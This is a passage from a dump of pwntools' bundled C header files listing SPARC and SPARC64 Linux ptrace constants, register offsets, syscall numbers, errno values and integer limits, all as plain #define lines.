PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define UREG_G0 0\n#define UREG_G1 1\n#define UREG_G2 2\n#define UREG_G3 3\n#define UREG_G4 4\n#define UREG_G5 5\n#define UREG_G6 6\n#define UREG_G7 7\n#define UREG_I0 8\n#define UREG_I1 9\n#define UREG_I2 10\n#define UREG_I3 11\n#define UREG_I4 12\n#define UREG_I5 13\n#define UREG_I6 14\n#define UREG_I7 15\n#define UREG_WIM 0\n#define UREG_FADDR 0\n#define UREG_FP 14\n#define UREG_RETPC 15\n#define PT_PSR 0x0\n#define PT_PC 0x4\n#define PT_NPC 0x8\n#define PT_Y 0xc\n#define PT_G0 0x10\n#define PT_WIM 0x10\n#define PT_G1 0x14\n#define PT_G2 0x18\n#define PT_G3 0x1c\n#define PT_G4 0x20\n#define PT_G5 0x24\n#define PT_G6 0x28\n#define PT_G7 0x2c\n#define PT_I0 0x30\n#define PT_I1 0x34\n#define PT_I2 0x38\n#define PT_I3 0x3c\n#define PT_I4 0x40\n#define PT_I5 0x44\n#define PT_I6 0x48\n#define PT_FP 0x48\n#define PT_I7 0x4c\n#define RW_L0 0x00\n#define RW_L1 0x04\n#define RW_L2 0x08\n#define RW_L3 0x0c\n#define RW_L4 0x10\n#define RW_L5 0x14\n#define RW_L6 0x18\n#define RW_L7 0x1c\n#define RW_I0 0x20\n#define RW_I1 0x24\n#define RW_I2 0x28\n#define RW_I3 0x2c\n#define RW_I4 0x30\n#define RW_I5 0x34\n#define RW_I6 0x38\n#define RW_I7 0x3c\n#define SF_L0 0x00\n#define SF_L1 0x04\n#define SF_L2 0x08\n#define SF_L3 0x0c\n#define SF_L4 0x10\n#define SF_L5 0x14\n#define SF_L6 0x18\n#define SF_L7 0x1c\n#define SF_I0 0x20\n#define SF_I1 0x24\n#define SF_I2 0x28\n#define SF_I3 0x2c\n#define SF_I4 0x30\n#define SF_I5 0x34\n#define SF_FP 0x38\n#define SF_PC 0x3c\n#define SF_RETP 0x40\n#define SF_XARG0 0x44\n#define SF_XARG1 0x48\n#define SF_XARG2 0x4c\n#define SF_XARG3 0x50\n#define SF_XARG4 0x54\n#define SF_XARG5 0x58\n#define SF_XXARG 0x5c\n#define PTRACE_SUNATTACH 10\n#define PTRACE_SUNDETACH 11\n#define PTRACE_GETREGS 12\n#define PTRACE_SETREGS 13\n#define PTRACE_GETFPREGS 14\n#define PTRACE_SETFPREGS 15\n#define PTRACE_READDATA 16\n#define PTRACE_WRITEDATA 17\n#define PTRACE_READTEXT 18\n#define PTRACE_WRITETEXT 19\n#define PTRACE_GETFPAREGS 20\n#define PTRACE_SETFPAREGS 21\n#define PTRACE_GETUCODE 29\n#define SYS_accept 99\n#define SYS_accept4 323\n#define SYS_access 33\n#define SYS_acct 51\n#define SYS_add_key 281\n#define SYS_adjtimex 219\n#define SYS_afs_syscall 227\n#define SYS_alarm 27\n#define SYS_aplib 255\n#define SYS_bdflush 225\n#define SYS_bind 353\n#define SYS_bpf 349\n#define SYS_brk 17\n#define SYS_capget 21\n#define SYS_capset 22\n#define SYS_chdir 12\n#define SYS_chmod 15\n#define SYS_chown 13\n#define SYS_chown32 35\n#define SYS_chroot 61\n#define SYS_clock_adjtime 334\n#define SYS_clock_adjtime64 405\n#define SYS_clock_getres 258\n#define SYS_clock_getres_time64 406\n#define SYS_clock_gettime 257\n#define SYS_clock_gettime64 403\n#define SYS_clock_nanosleep 259\n#define SYS_clock_nanosleep_time64 407\n#define SYS_clock_settime 256\n#define SYS_clock_settime64 404\n#define SYS_clone 217\n#define SYS_close 6\n#define SYS_connect 98\n#define SYS_copy_file_range 357\n#define SYS_creat 8\n#define SYS_create_module 221\n#define SYS_delete_module 222\n#define SYS_dup 41\n#define SYS_dup2 90\n#define SYS_dup3 320\n#define SYS_epoll_create 193\n#define SYS_epoll_create1 319\n#define SYS_epoll_ctl 194\n#define SYS_epoll_pwait 309\n#define SYS_epoll_wait 195\n#define SYS_eventfd 313\n#define SYS_eventfd2 318\n#define SYS_execv 11\n#define SYS_execve 59\n#define SYS_execveat 350\n#define SYS_exit 1\n#define SYS_exit_group 188\n#define SYS_faccessat 296\n#define SYS_fadvise64 209\n#define SYS_fadvise64_64 210\n#define SYS_fallocate 314\n#define SYS_fanotify_init 329\n#define SYS_fanotify_mark 330\n#define SYS_fchdir 176\n#define SYS_fchmod 124\n#define SYS_fchmodat 295\n#define SYS_fchown 123\n#define SYS_fchown32 32\n#define SYS_fchownat 287\n#define SYS_fcntl 92\n#define SYS_fcntl64 155\n#define SYS_fdatasync 253\n#define SYS_fgetxattr 177\n#define SYS_finit_module 342\n#define SYS_flistxattr 180\n#define SYS_flock 131\n#define SYS_fork 2\n#define SYS_fremovexattr 186\n#define SYS_fsconfig 431\n#define SYS_fsetxattr 171\n#define SYS_fsmount 432\n#define SYS_fsopen 430\n#define SYS_fspick 433\n#define SYS_fstat 62\n#define SYS_fstat64 63\n#define SYS_fstatat64 289\n#define SYS_fstatfs 158\n#define SYS_fstatfs64 235\n#define SYS_fsync 95\n#define SYS_ftruncate 130\n#define SYS_ftruncate64 84\n#define SYS_futex 142\n#define SYS_futex_time64 422\n#define SYS_futimesat 288\n#define SYS_getcpu 308\n#define SYS_getcwd 119\n#define SYS_getdents 174\n#define SYS_getdents64 154\n#define SYS_getdomainname 162\n#define SYS_getegid 50\n#define SYS_getegid32 70\n#define SYS_geteuid 49\n#define SYS_geteuid32 69\n#define SYS_getgid 47\n#define SYS_getgid32 53\n#define SYS_getgroups 79\n#define SYS_getgroups32 115\n#define SYS_getitimer 86\n#define SYS_get_kernel_syms 223\n#define SYS_get_mempolicy 304\n#define SYS_getpagesize 64\n#define SYS_getpeername 141\n#define SYS_getpgid 224\n#define SYS_getpgrp 81\n#define SYS_getpid 20\n#define SYS_getppid 197\n#define SYS_getpriority 100\n#define SYS_getrandom 347\n#define SYS_getresgid32 111\n#define SYS_getresuid32 109\n#define SYS_getrlimit 144\n#define SYS_get_robust_list 301\n#define SYS_getrusage 117\n#define SYS_getsid 252\n#define SYS_getsockname 150\n#define SYS_getsockopt 118\n#define SYS_gettid 143\n#define SYS_gettimeofday 116\n#define SYS_getuid 24\n#define SYS_getuid32 44\n#define SYS_getxattr 172\n#define SYS_init_module 190\n#define SYS_inotify_init1 322\n#define SYS_io_cancel 271\n#define SYS_ioctl 54\n#define SYS_io_destroy 269\n#define SYS_io_getevents 272\n#define SYS_io_pgetevents 361\n#define SYS_io_pgetevents_time64 416\n#define SYS_io_setup 268\n#define SYS_io_submit 270\n#define SYS_io_uring_enter 426\n#define SYS_io_uring_register 427\n#define SYS_io_uring_setup 425\n#define SYS_ipc 215\n#define SYS_kcmp 341\n#define SYS_kern_features 340\n#define SYS_kexec_load 306\n#define SYS_keyctl 283\n#define SYS_kill 37\n#define SYS_lchown 16\n#define SYS_lchown32 31\n#define SYS_lgetxattr 173\n#define SYS_link 9\n#define SYS_linkat 292\n#define SYS_listen 354\n#define SYS_listxattr 178\n#define SYS_llistxattr 179\n#define SYS__llseek 236\n#define SYS_lookup_dcookie 208\n#define SYS_lremovexattr 182\n#define SYS_lseek 19\n#define SYS_lsetxattr 170\n#define SYS_lstat 40\n#define SYS_lstat64 132\n#define SYS_madvise 75\n#define SYS_mbind 303\n#define SYS_membarrier 351\n#define SYS_memfd_create 348\n#define SYS_migrate_pages 302\n#define SYS_mincore 78\n#define SYS_mkdir 136\n#define SYS_mkdirat 285\n#define SYS_mknod 14\n#define SYS_mknodat 286\n#define SYS_mlock 237\n#define SYS_mlock2 356\n#define SYS_mlockall 239\n#define SYS_mmap 71\n#define SYS_mmap2 56\n#define SYS_mount 167\n#define SYS_move_mount 429\n#define SYS_move_pages 307\n#define SYS_mprotect 74\n#define SYS_mq_getsetattr 278\n#define SYS_mq_notify 277\n#define SYS_mq_open 273\n#define SYS_mq_timedreceive 276\n#define SYS_mq_timedreceive_time64 419\n#define SYS_mq_timedsend 275\n#define SYS_mq_timedsend_time64 418\n#define SYS_mq_unlink 274\n#define SYS_mremap 250\n#define SYS_msgctl 402\n#define SYS_msgget 399\n#define SYS_msgrcv 401\n#define SYS_msgsnd 400\n#define SYS_msync 65\n#define SYS_munlock 238\n#define SYS_munlockall 240\n#define SYS_munmap 73\n#define SYS_name_to_handle_at 332\n#define SYS_nanosleep 249\n#define SYS__newselect 230\n#define SYS_nfsservctl 254\n#define SYS_nice 34\n#define SYS_oldlstat 202\n#define SYS_open 5\n#define SYS_openat 284\n#define SYS_openat2 437\n#define SYS_open_by_handle_at 333\n#define SYS_open_tree 428\n#define SYS_pause 29\n#define SYS_pciconfig_read 148\n#define SYS_pciconfig_write 149\n#define SYS_perfctr 18\n#define SYS_perf_event_open 327\n#define SYS_personality 191\n#define SYS_pidfd_getfd 438\n#define SYS_pidfd_open 434\n#define SYS_pidfd_send_signal 424\n#define SYS_pipe 42\n#define SYS_pipe2 321\n#define SYS_pivot_root 146\n#define SYS_pkey_alloc 363\n#define SYS_pkey_free 364\n#define SYS_pkey_mprotect 362\n#define SYS_poll 153\n#define SYS_ppoll 298\n#define SYS_ppoll_time64 414\n#define SYS_prctl 147\n#define SYS_pread 67\n#define SYS_preadv 324\n#define SYS_preadv2 358\n#define SYS_prlimit64 331\n#define SYS_process_vm_readv 338\n#define SYS_process_vm_writev 339\n#define SYS_pselect6 297\n#define SYS_pselect6_time64 413\n#define SYS_ptrace 26\n#define SYS_pwrite 68\n#define SYS_pwritev 325\n#define SYS_pwritev2 359\n#define SYS_query_module 184\n#define SYS_quotactl 165\n#define SYS_read 3\n#define SYS_readahead 205\n#define SYS_readdir 204\n#define SYS_readlink 58\n#define SYS_readlinkat 294\n#define SYS_readv 120\n#define SYS_reboot 55\n#define SYS_recvfrom 125\n#define SYS_recvmmsg 328\n#define SYS_recvmmsg_time64 417\n#define SYS_recvmsg 113\n#define SYS_remap_file_pages 192\n#define SYS_removexattr 181\n#define SYS_rename 128\n#define SYS_renameat 291\n#define SYS_renameat2 345\n#define SYS_request_key 282\n#define SYS_rmdir 137\n#define SYS_rseq 365\n#define SYS_rt_sigaction 102\n#define SYS_rt_sigpending 104\n#define SYS_rt_sigprocmask 103\n#define SYS_rt_sigqueueinfo 106\n#define SYS_rt_sigreturn 101\n#define SYS_rt_sigsuspend 107\n#define SYS_rt_sigtimedwait 105\n#define SYS_rt_sigtimedwait_time64 421\n#define SYS_rt_tgsigqueueinfo 326\n#define SYS_sched_getaffinity 260\n#define SYS_sched_getattr 344\n#define SYS_sched_getparam 242\n#define SYS_sched_get_priority_max 246\n#define SYS_sched_get_priority_min 247\n#define SYS_sched_getscheduler 244\n#define SYS_sched_rr_get_interval 248\n#define SYS_sched_rr_get_interval_time64 423\n#define SYS_sched_setaffinity 261\n#define SYS_sched_setattr 343\n#define SYS_sched_setparam 241\n#define SYS_sched_setscheduler 243\n#define SYS_sched_yield 245\n#define SYS_seccomp 346\n#define SYS_select 93\n#define SYS_semctl 394\n#define SYS_semget 393\n#define SYS_semtimedop_time64 420\n#define SYS_sendfile 39\n#define SYS_sendfile64 140\n#define SYS_sendmmsg 336\n#define SYS_sendmsg 114\n#define SYS_sendto 133\n#define SYS_setdomainname 163\n#define SYS_setfsgid 229\n#define SYS_setfsgid32 94\n#define SYS_setfsuid 228\n#define SYS_setfsuid32 91\n#define SYS_setgid 46\n#define SYS_setgid32 89\n#define SYS_setgroups 80\n#define SYS_setgroups32 82\n#define SYS_sethostname 88\n#define SYS_setitimer 83\n#define SYS_set_mempolicy 305\n#define SYS_setns 337\n#define SYS_setpgid 185\n#define SYS_setpriority 96\n#define SYS_setregid 127\n#define SYS_setregid32 112\n#define SYS_setresgid32 110\n#define SYS_setresuid32 108\n#define SYS_setreuid 126\n#define SYS_setreuid32 72\n#define SYS_setrlimit 145\n#define SYS_set_robust_list 300\n#define SYS_setsid 175\n#define SYS_setsockopt 355\n#define SYS_set_tid_address 166\n#define SYS_settimeofday 122\n#define SYS_setuid 23\n#define SYS_setuid32 87\n#define SYS_setxattr 169\n#define SYS_sgetmask 199\n#define SYS_shmat 397\n#define SYS_shmctl 396\n#define SYS_shmdt 398\n#define SYS_shmget 395\n#define SYS_shutdown 134\n#define SYS_sigaction 198\n#define SYS_sigaltstack 28\n#define SYS_signal 48\n#define SYS_signalfd 311\n#define SYS_signalfd4 317\n#define SYS_sigpending 183\n#define SYS_sigprocmask 220\n#define SYS_sigreturn 216\n#define SYS_sigsuspend 201\n#define SYS_socket 97\n#define SYS_socketcall 206\n#define SYS_socketpair 135\n#define SYS_ssetmask 200\n#define SYS_stat 38\n#define SYS_stat64 139\n#define SYS_statfs 157\n#define SYS_statfs64 234\n#define SYS_statx 360\n#define SYS_stime 233\n#define SYS_swapoff 213\n#define SYS_swapon 85\n#define SYS_symlink 57\n#define SYS_symlinkat 293\n#define SYS_sync 36\n#define SYS_syncfs 335\n#define SYS__sysctl 251\n#define SYS_sysfs 226\n#define SYS_sysinfo 214\n#define SYS_syslog 207\n#define SYS_sys_setaltroot 280\n#define SYS_tgkill 211\n#define SYS_time 231\n#define SYS_timer_create 266\n#define SYS_timer_delete 265\n#define SYS_timerfd 312\n#define SYS_timerfd_gettime 316\n#define SYS_timerfd_gettime64 410\n#define SYS_timerfd_settime 315\n#define SYS_timerfd_settime64 411\n#define SYS_timer_getoverrun 264\n#define SYS_timer_gettime 263\n#define SYS_timer_gettime64 408\n#define SYS_timer_settime 262\n#define SYS_timer_settime64 409\n#define SYS_times 43\n#define SYS_tkill 187\n#define SYS_truncate 129\n#define SYS_truncate64 77\n#define SYS_umask 60\n#define SYS_umount 159\n#define SYS_umount2 45\n#define SYS_uname 189\n#define SYS_unlink 10\n#define SYS_unlinkat 290\n#define SYS_unshare 299\n#define SYS_uselib 203\n#define SYS_userfaultfd 352\n#define SYS_ustat 168\n#define SYS_utime 30\n#define SYS_utimensat 310\n#define SYS_utimensat_time64 412\n#define SYS_utimes 138\n#define SYS_vfork 66\n#define SYS_vhangup 76\n#define SYS_wait4 7\n#define SYS_waitid 279\n#define SYS_waitpid 212\n#define SYS_write 4\n#define SYS_writev 121\n"
  },
  {
    "path": "pwnlib/data/includes/linux/sparc64.h",
    "content": "#define __NR_exit 1\n#define __NR_fork 2\n#define __NR_read 3\n#define __NR_write 4\n#define __NR_open 5\n#define __NR_close 6\n#define __NR_wait4 7\n#define __NR_creat 8\n#define __NR_link 9\n#define __NR_unlink 10\n#define __NR_execv 11\n#define __NR_chdir 12\n#define __NR_chown 13\n#define __NR_mknod 14\n#define __NR_chmod 15\n#define __NR_lchown 16\n#define __NR_brk 17\n#define __NR_perfctr 18\n#define __NR_lseek 19\n#define __NR_getpid 20\n#define __NR_capget 21\n#define __NR_capset 22\n#define __NR_setuid 23\n#define __NR_getuid 24\n#define __NR_ptrace 26\n#define __NR_alarm 27\n#define __NR_sigaltstack 28\n#define __NR_pause 29\n#define __NR_utime 30\n#define __NR_access 33\n#define __NR_nice 34\n#define __NR_sync 36\n#define __NR_kill 37\n#define __NR_stat 38\n#define __NR_sendfile 39\n#define __NR_lstat 40\n#define __NR_dup 41\n#define __NR_pipe 42\n#define __NR_times 43\n#define __NR_umount2 45\n#define __NR_setgid 46\n#define __NR_getgid 47\n#define __NR_signal 48\n#define __NR_geteuid 49\n#define __NR_getegid 50\n#define __NR_acct 51\n#define __NR_memory_ordering 52\n#define __NR_ioctl 54\n#define __NR_reboot 55\n#define __NR_symlink 57\n#define __NR_readlink 58\n#define __NR_execve 59\n#define __NR_umask 60\n#define __NR_chroot 61\n#define __NR_fstat 62\n#define __NR_getpagesize 64\n#define __NR_msync 65\n#define __NR_vfork 66\n#define __NR_pread 67\n#define __NR_pwrite 68\n#define __NR_mmap 71\n#define __NR_munmap 73\n#define __NR_mprotect 74\n#define __NR_madvise 75\n#define __NR_vhangup 76\n#define __NR_mincore 78\n#define __NR_getgroups 79\n#define __NR_setgroups 80\n#define __NR_getpgrp 81\n#define __NR_setitimer 83\n#define __NR_swapon 85\n#define __NR_getitimer 86\n#define __NR_sethostname 88\n#define __NR_dup2 90\n#define __NR_fcntl 92\n#define __NR_select 93\n#define __NR_fsync 95\n#define __NR_setpriority 96\n#define __NR_socket 97\n#define __NR_connect 98\n#define __NR_accept 99\n#define __NR_getpriority 100\n#define __NR_rt_sigreturn 101\n#define __NR_rt_sigaction 102\n#define __NR_rt_sigprocmask 103\n#define __NR_rt_sigpending 104\n#define __NR_rt_sigtimedwait 105\n#define __NR_rt_sigqueueinfo 106\n#define __NR_rt_sigsuspend 107\n#define __NR_setresuid 108\n#define __NR_getresuid 109\n#define __NR_setresgid 110\n#define __NR_getresgid 111\n#define __NR_recvmsg 113\n#define __NR_sendmsg 114\n#define __NR_gettimeofday 116\n#define __NR_getrusage 117\n#define __NR_getsockopt 118\n#define __NR_getcwd 119\n#define __NR_readv 120\n#define __NR_writev 121\n#define __NR_settimeofday 122\n#define __NR_fchown 123\n#define __NR_fchmod 124\n#define __NR_recvfrom 125\n#define __NR_setreuid 126\n#define __NR_setregid 127\n#define __NR_rename 128\n#define __NR_truncate 129\n#define __NR_ftruncate 130\n#define __NR_flock 131\n#define __NR_sendto 133\n#define __NR_shutdown 134\n#define __NR_socketpair 135\n#define __NR_mkdir 136\n#define __NR_rmdir 137\n#define __NR_utimes 138\n#define __NR_sendfile64 140\n#define __NR_getpeername 141\n#define __NR_futex 142\n#define __NR_gettid 143\n#define __NR_getrlimit 144\n#define __NR_setrlimit 145\n#define __NR_pivot_root 146\n#define __NR_prctl 147\n#define __NR_pciconfig_read 148\n#define __NR_pciconfig_write 149\n#define __NR_getsockname 150\n#define __NR_poll 153\n#define __NR_getdents64 154\n#define __NR_statfs 157\n#define __NR_fstatfs 158\n#define __NR_umount 159\n#define __NR_sched_set_affinity 160\n#define __NR_sched_get_affinity 161\n#define __NR_getdomainname 162\n#define __NR_setdomainname 163\n#define __NR_utrap_install 164\n#define __NR_quotactl 165\n#define __NR_set_tid_address 166\n#define __NR_mount 167\n#define __NR_ustat 168\n#define __NR_setxattr 169\n#define __NR_lsetxattr 170\n#define __NR_fsetxattr 171\n#define __NR_getxattr 172\n#define __NR_lgetxattr 173\n#define __NR_getdents 174\n#define __NR_setsid 175\n#define __NR_fchdir 176\n#define __NR_fgetxattr 177\n#define __NR_listxattr 178\n#define __NR_llistxattr 179\n#define __NR_flistxattr 180\n#define __NR_removexattr 181\n#define __NR_lremovexattr 182\n#define __NR_sigpending 183\n#define __NR_query_module 184\n#define __NR_setpgid 185\n#define __NR_fremovexattr 186\n#define __NR_tkill 187\n#define __NR_exit_group 188\n#define __NR_uname 189\n#define __NR_init_module 190\n#define __NR_personality 191\n#define __NR_remap_file_pages 192\n#define __NR_epoll_create 193\n#define __NR_epoll_ctl 194\n#define __NR_epoll_wait 195\n#define __NR_getppid 197\n#define __NR_sigaction 198\n#define __NR_sgetmask 199\n#define __NR_ssetmask 200\n#define __NR_sigsuspend 201\n#define __NR_oldlstat 202\n#define __NR_uselib 203\n#define __NR_readdir 204\n#define __NR_readahead 205\n#define __NR_socketcall 206\n#define __NR_syslog 207\n#define __NR_lookup_dcookie 208\n#define __NR_fadvise64 209\n#define __NR_fadvise64_64 210\n#define __NR_tgkill 211\n#define __NR_waitpid 212\n#define __NR_swapoff 213\n#define __NR_sysinfo 214\n#define __NR_ipc 215\n#define __NR_sigreturn 216\n#define __NR_clone 217\n#define __NR_adjtimex 219\n#define __NR_sigprocmask 220\n#define __NR_create_module 221\n#define __NR_delete_module 222\n#define __NR_get_kernel_syms 223\n#define __NR_getpgid 224\n#define __NR_bdflush 225\n#define __NR_sysfs 226\n#define __NR_afs_syscall 227\n#define __NR_setfsuid 228\n#define __NR_setfsgid 229\n#define __NR__newselect 230\n#define __NR_stime 233\n#define __NR_statfs64 234\n#define __NR_fstatfs64 235\n#define __NR__llseek 236\n#define __NR_mlock 237\n#define __NR_munlock 238\n#define __NR_mlockall 239\n#define __NR_munlockall 240\n#define __NR_sched_setparam 241\n#define __NR_sched_getparam 242\n#define __NR_sched_setscheduler 243\n#define __NR_sched_getscheduler 244\n#define __NR_sched_yield 245\n#define __NR_sched_get_priority_max 246\n#define __NR_sched_get_priority_min 247\n#define __NR_sched_rr_get_interval 248\n#define __NR_nanosleep 249\n#define __NR_mremap 250\n#define __NR__sysctl 251\n#define __NR_getsid 252\n#define __NR_fdatasync 253\n#define __NR_nfsservctl 254\n#define __NR_aplib 255\n#define __NR_clock_settime 256\n#define __NR_clock_gettime 257\n#define __NR_clock_getres 258\n#define __NR_clock_nanosleep 259\n#define __NR_sched_getaffinity 260\n#define __NR_sched_setaffinity 261\n#define __NR_timer_settime 262\n#define __NR_timer_gettime 263\n#define __NR_timer_getoverrun 264\n#define __NR_timer_delete 265\n#define __NR_timer_create 266\n#define __NR_io_setup 268\n#define __NR_io_destroy 269\n#define __NR_io_submit 270\n#define __NR_io_cancel 271\n#define __NR_io_getevents 272\n#define __NR_mq_open 273\n#define __NR_mq_unlink 274\n#define __NR_mq_timedsend 275\n#define __NR_mq_timedreceive 276\n#define __NR_mq_notify 277\n#define __NR_mq_getsetattr 278\n#define __NR_waitid 279\n#define __NR_add_key 281\n#define __NR_request_key 282\n#define __NR_keyctl 283\n#define __NR_openat 284\n#define __NR_mkdirat 285\n#define __NR_mknodat 286\n#define __NR_fchownat 287\n#define __NR_futimesat 288\n#define __NR_fstatat64 289\n#define __NR_unlinkat 290\n#define __NR_renameat 291\n#define __NR_linkat 292\n#define __NR_symlinkat 293\n#define __NR_readlinkat 294\n#define __NR_fchmodat 295\n#define __NR_faccessat 296\n#define __NR_pselect6 297\n#define __NR_ppoll 298\n#define __NR_unshare 299\n#define __NR_set_robust_list 300\n#define __NR_get_robust_list 301\n#define __NR_migrate_pages 302\n#define __NR_mbind 303\n#define __NR_get_mempolicy 304\n#define __NR_set_mempolicy 305\n#define __NR_kexec_load 306\n#define __NR_move_pages 307\n#define __NR_getcpu 308\n#define __NR_epoll_pwait 309\n#define __NR_utimensat 310\n#define __NR_signalfd 311\n#define __NR_timerfd 312\n#define __NR_eventfd 313\n#define __NR_fallocate 314\n#define __NR_timerfd_settime 315\n#define __NR_timerfd_gettime 316\n#define __NR_signalfd4 317\n#define __NR_eventfd2 318\n#define __NR_epoll_create1 319\n#define __NR_dup3 320\n#define __NR_pipe2 321\n#define __NR_inotify_init1 322\n#define __NR_accept4 323\n#define __NR_preadv 324\n#define __NR_pwritev 325\n#define __NR_rt_tgsigqueueinfo 326\n#define __NR_perf_event_open 327\n#define __NR_recvmmsg 328\n#define __NR_fanotify_init 329\n#define __NR_fanotify_mark 330\n#define __NR_prlimit64 331\n#define __NR_name_to_handle_at 332\n#define __NR_open_by_handle_at 333\n#define __NR_clock_adjtime 334\n#define __NR_syncfs 335\n#define __NR_sendmmsg 336\n#define __NR_setns 337\n#define __NR_process_vm_readv 338\n#define __NR_process_vm_writev 339\n#define __NR_kern_features 340\n#define __NR_kcmp 341\n#define __NR_finit_module 342\n#define __NR_sched_setattr 343\n#define __NR_sched_getattr 344\n#define __NR_renameat2 345\n#define __NR_seccomp 346\n#define __NR_getrandom 347\n#define __NR_memfd_create 348\n#define __NR_bpf 349\n#define __NR_execveat 350\n#define __NR_membarrier 351\n#define __NR_userfaultfd 352\n#define __NR_bind 353\n#define __NR_listen 354\n#define __NR_setsockopt 355\n#define __NR_mlock2 356\n#define __NR_copy_file_range 357\n#define __NR_preadv2 358\n#define __NR_pwritev2 359\n#define __NR_statx 360\n#define __NR_io_pgetevents 361\n#define __NR_pkey_mprotect 362\n#define __NR_pkey_alloc 363\n#define __NR_pkey_free 364\n#define __NR_rseq 365\n#define __NR_semtimedop 392\n#define __NR_semget 393\n#define __NR_semctl 394\n#define __NR_shmget 395\n#define __NR_shmctl 396\n#define __NR_shmat 397\n#define __NR_shmdt 398\n#define __NR_msgget 399\n#define __NR_msgsnd 400\n#define __NR_msgrcv 401\n#define __NR_msgctl 402\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EDEADLK 35\n#define ENAMETOOLONG 36\n#define ENOLCK 37\n#define ENOSYS 38\n#define ENOTEMPTY 39\n#define ELOOP 40\n#define EWOULDBLOCK 11\n#define ENOMSG 42\n#define EIDRM 43\n#define ECHRNG 44\n#define EL2NSYNC 45\n#define EL3HLT 46\n#define EL3RST 47\n#define ELNRNG 48\n#define EUNATCH 49\n#define ENOCSI 50\n#define EL2HLT 51\n#define EBADE 52\n#define EBADR 53\n#define EXFULL 54\n#define ENOANO 55\n#define EBADRQC 56\n#define EBADSLT 57\n#define EDEADLOCK 35\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EMULTIHOP 72\n#define EDOTDOT 73\n#define EBADMSG 74\n#define EOVERFLOW 75\n#define ENOTUNIQ 76\n#define EBADFD 77\n#define EREMCHG 78\n#define ELIBACC 79\n#define ELIBBAD 80\n#define ELIBSCN 81\n#define ELIBMAX 82\n#define ELIBEXEC 83\n#define EILSEQ 84\n#define ERESTART 85\n#define ESTRPIPE 86\n#define EUSERS 87\n#define ENOTSOCK 88\n#define EDESTADDRREQ 89\n#define EMSGSIZE 90\n#define EPROTOTYPE 91\n#define ENOPROTOOPT 92\n#define EPROTONOSUPPORT 93\n#define ESOCKTNOSUPPORT 94\n#define EOPNOTSUPP 95\n#define ENOTSUP 95\n#define EPFNOSUPPORT 96\n#define EAFNOSUPPORT 97\n#define EADDRINUSE 98\n#define EADDRNOTAVAIL 99\n#define ENETDOWN 100\n#define ENETUNREACH 101\n#define ENETRESET 102\n#define ECONNABORTED 103\n#define ECONNRESET 104\n#define ENOBUFS 105\n#define EISCONN 106\n#define ENOTCONN 107\n#define ESHUTDOWN 108\n#define ETOOMANYREFS 109\n#define ETIMEDOUT 110\n#define ECONNREFUSED 111\n#define EHOSTDOWN 112\n#define EHOSTUNREACH 113\n#define EALREADY 114\n#define EINPROGRESS 115\n#define ESTALE 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EDQUOT 122\n#define ENOMEDIUM 123\n#define EMEDIUMTYPE 124\n#define ECANCELED 125\n#define ENOKEY 126\n#define EKEYEXPIRED 127\n#define EKEYREVOKED 128\n#define EKEYREJECTED 129\n#define EOWNERDEAD 130\n#define ENOTRECOVERABLE 131\n#define ERFKILL 132\n#define EHWPOISON 133\n#define __SYS_NERR ((133) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 4321\n#define __FLOAT_WORD_ORDER 4321\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 4321\n#define __WORDSIZE 32\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - 